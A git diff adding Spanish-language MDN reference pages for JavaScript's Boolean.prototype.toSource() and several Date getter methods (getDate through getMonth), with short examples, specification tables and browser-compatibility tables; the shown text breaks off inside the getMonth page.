+var btrueString = new Boolean('true');
+var bfalseString = new Boolean('false');
+var bSuLin = new Boolean('Su Lin');
+var bArrayProto = new Boolean([]);
+var bObjProto = new Boolean({});
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-boolean-objects', 'Boolean')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.Boolean")}}</p>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li><a href="/es/docs/Glossary/Boolean">Boolean</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Data_structures#Boolean_type">Boolean primitivo</a></li>
+ <li><a href="https://es.wikipedia.org/wiki/Tipo_de_dato_lógico">Tipo de dato <code>Boolean</code> (Wikipedia)</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/boolean/tosource/index.html b/files/es/web/javascript/referencia/objetos_globales/boolean/tosource/index.html
new file mode 100644
index 0000000000..e42f79f26b
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/boolean/tosource/index.html
@@ -0,0 +1,36 @@
+---
+title: Boolean.prototype.toSource()
+slug: Web/JavaScript/Referencia/Objetos_globales/Boolean/toSource
+tags:
+  - Boolean
+  - JavaScript
+  - Method
+  - Non-standard
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toSource
+---
+<div>
+ {{JSRef("Objetos_globales", "Boolean")}} {{ Non-standard_header() }}</div>
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+<p>Devuelve una cadena que representa el código fuente del objeto.</p>
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+<p><code>toSource() </code></p>
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+<p>Ninguno.</p>
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+<p>El método <code>toSource</code> devuelve los siguientes valores:</p>
+<ul>
+ <li>Para objetos built-in <code>Boolean</code>, <code>toSource</code> devuelve la siguiente cadena indicando que el código fuente no está disponible:</li>
+</ul>
+<pre class="brush: js">function Boolean() {
+   [código nativo]
+}
+</pre>
+<ul>
+ <li>Para instancias de <code>Boolean</code>, <code>toSource</code> devuelve una cadena representando el código fuente.</li>
+</ul>
+<p>Este método se utiliza habitualmente en llamadas internas por JavaScript y no en código explícito.</p>
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}} {{Non-standard_inline()}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/getdate/index.html b/files/es/web/javascript/referencia/objetos_globales/date/getdate/index.html
new file mode 100644
index 0000000000..451f889003
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/getdate/index.html
@@ -0,0 +1,119 @@
+---
+title: Date.prototype.getDate()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/getDate
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDate
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>getDate()</code></strong> devuelve el día del mes para la fecha especificada de acuerdo con la hora local.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getDate()</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>El valor devuelto por <code>getDate() es u</code>n número entero, entre 1 y 31, que representa el día del mes para la fecha dada según la hora local.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Uso_de_getDate()">Uso de <code>getDate()</code></h3>
+
+<p>La segunda instrucción asigna el valor 25 a la variable <code>day</code>, en función del valor del objeto {{jsxref("Date")}} <code>Xmas95</code>.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var day = Xmas95.getDate();
+
+console.log(day); // 25
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getdate', 'Date.prototype.getDate')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.14', 'Date.prototype.getDate')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implantado en JavaScript 1.1.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setDate()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/getday/index.html b/files/es/web/javascript/referencia/objetos_globales/date/getday/index.html
new file mode 100644
index 0000000000..f384f21b71
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/getday/index.html
@@ -0,0 +1,124 @@
+---
+title: Date.prototype.getDay()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/getDay
+tags:
+  - Date
+  - JavaScript
+  - Prototype
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDay
+---
+<div>{{JSRef}}</div>
+
+<p><code>El método </code><strong><code>getDay()</code></strong> devuelve el día de la semana de la fecha especificada en función de la fecha local; siendo 0 (Domingo) el primer día.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getDay()</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>El valor devuelto por <code>getDay()</code> es un entero correspondiente al día de la semana; siendo 0 (Domingo) el primer día, 1 (Lunes) el segundo, etcétera. </p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usos_de_getDay()"><code>Usos de getDay()</code></h3>
+
+<p>La segunda sentencia asigna el valor 1 a <code>weekday, </code>basado en el valor del objeto Xmas95  {{jsxref("Date")}}. December 25, 1995,  que corresponde a Lunes.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var weekday = Xmas95.getDay();
+
+console.log(weekday); // 1
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getday', 'Date.prototype.getDay')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.16', 'Date.prototype.getDay')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JS 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte báisco</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setDate()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/getfullyear/index.html b/files/es/web/javascript/referencia/objetos_globales/date/getfullyear/index.html
new file mode 100644
index 0000000000..be63745dbd
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/getfullyear/index.html
@@ -0,0 +1,124 @@
+---
+title: Date.prototype.getFullYear()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/getFullYear
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getFullYear
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>getFullYear()</code></strong> devuelve el año del objeto de fecha especificado acorde al tiempo local.</p>
+
+<p>Es prefererible usar este método en sustitución del método <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getYear">getYear()</a>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getFullYear()</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Devuelve">Devuelve</h3>
+
+<p>El valor devuelto por <code>getFullYear()</code> es un número absolute. Para fechas entre los años 1000 y 9999, <code>getFullYear()</code> devuelve un número de cuatro cifras, por ejemplo, 1995. Use esta función para obtener un año que cumpla con el efecto del año 2000.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_getFullYear">Usando <code>getFullYear()</code></h3>
+
+<p>El siguiente ejemplo asigna un valor de cuatro digitos con el año actual a la variable <code>year</code>.</p>
+
+<pre class="brush: js">var today = new Date();
+var year = today.getFullYear();
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.10', 'Date.prototype.getFullYear')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getfullyear', 'Date.prototype.getFullYear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getfullyear', 'Date.prototype.getFullYear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox para móvil (Gecko)</th>
+   <th>IE para móvil</th>
+   <th>Opera para móvil</th>
+   <th>Safari para móvil</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.getYear()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/gethours/index.html b/files/es/web/javascript/referencia/objetos_globales/date/gethours/index.html
new file mode 100644
index 0000000000..b669c976c7
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/gethours/index.html
@@ -0,0 +1,119 @@
+---
+title: Date.prototype.getHours()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/getHours
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getHours
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>getHours()</code></strong> retorna la hora de la fecha especificada, de acuerdo a la hora local.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getHours()</code></pre>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un número entero, entre 0 y 23, representando la hora de la fecha dada de acuerdo a la hora local.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_getHours()">Usando <code>getHours()</code></h3>
+
+<p>La segunda sentencia abajo asigna el valor 23 a la variable hours, basado en el valor del objeto {{jsxref("Global_Objects/Date", "Date")}} <code>Xmas95</code>.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var hours = Xmas95.getHours();
+
+console.log(hours); // 23
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definicion inicial. Implementado en JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.18', 'Date.prototype.getHours')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.gethours', 'Date.prototype.getHours')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.gethours', 'Date.prototype.getHours')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_tambien">Ver tambien</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setHours()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/getmilliseconds/index.html b/files/es/web/javascript/referencia/objetos_globales/date/getmilliseconds/index.html
new file mode 100644
index 0000000000..cf673a530a
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/getmilliseconds/index.html
@@ -0,0 +1,121 @@
+---
+title: Date.prototype.getMilliseconds()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/getMilliseconds
+tags:
+  - Fecha
+  - Milisegundos
+  - Prototipo
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>getMilliseconds()</code></strong> devuelve la cantidad de milisegundos en el objeto fecha especificado de acuerdo a la hora local.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getMilliseconds()</code></pre>
+
+<h3 id="Valor_de_Retorno">Valor de Retorno</h3>
+
+<p>Un número, entre 0 y 999, que representa la cantidad de milisegundos en la fecha dada, de acuerdo a la hora local.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_getMilliseconds()">Usando <code>getMilliseconds()</code></h3>
+
+<p>El siguiente ejemplo asigna la cantidad de milisegundos de la hora actual a la variable <code>milisegundos</code>:</p>
+
+<pre class="brush: js">var ahora = new Date();
+var milisegundos = ahora.getMilliseconds();
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.24', 'Date.prototype.getMilliseconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getmilliseconds', 'Date.prototype.getMilliseconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getmilliseconds', 'Date.prototype.getMilliseconds')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<h2 id="CompatibilityTable">{{CompatibilityTable}}</h2>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setMilliseconds()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/getminutes/index.html b/files/es/web/javascript/referencia/objetos_globales/date/getminutes/index.html
new file mode 100644
index 0000000000..9b144239b9
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/getminutes/index.html
@@ -0,0 +1,118 @@
+---
+title: Date.prototype.getMinutes()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/getMinutes
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMinutes
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>getMinutes()</code></strong> devuelve los minutos de la fecha especificada en función de la hora local. </p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getMinutes()</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Devuelve">Devuelve</h3>
+
+<p>El valor devuelto por <code>getMinutes()</code> es un número entero entre 0 y 59.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Uso_de_getMinutes()"><code>Uso de getMinutes()</code></h3>
+
+<p>La segunda declaración del código mostrado a continuación le asigna el valor 15 a la variable <code>minutos</code>, basado en el valor del {{jsxref("Global_Objects/Date", "Date")}} <code>objeto Xmas95</code>.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var minutos = Xmas95.getMinutes();
+
+console.log(minutos); // 15
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.20', 'Date.prototype.getMinutes')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getminutes', 'Date.prototype.getMinutes')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setMinutes()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/getmonth/index.html b/files/es/web/javascript/referencia/objetos_globales/date/getmonth/index.html
new file mode 100644
index 0000000000..08a7e1d143
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/getmonth/index.html
@@ -0,0 +1,125 @@
+---
+title: Date.prototype.getMonth()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/getMonth
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMonth
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El método getMonth() devuelve el mes del objeto Date según la hora local, donde el número cero indica el primer mes del año.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getMonth()</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>El valor devuelto por getMonth() es un entero entre 0 y 11, donde 0 corresponde a Enero, 1 a Febrero y así sucesivamente.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_getMonth()">Usando <code>getMonth()</code></h3>
+
+<p>En el siguiente ejemplo, la segunda línea asigna el valor 11 a la variable mes, basado en el valor del objeto {{jsxref("Date")}} N<code>avidad</code>.</p>
+
+<pre class="brush: js">var Navidad = new Date('December 25, 2014 23:15:30');
+var mes = Navidad.getMonth();
+
+console.log(mes); // 11
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Primera definición. Implementado en JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.12', 'Date.prototype.getMonth')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getmonth', 'Date.prototype.getMonth')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad">Compatibilidad</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
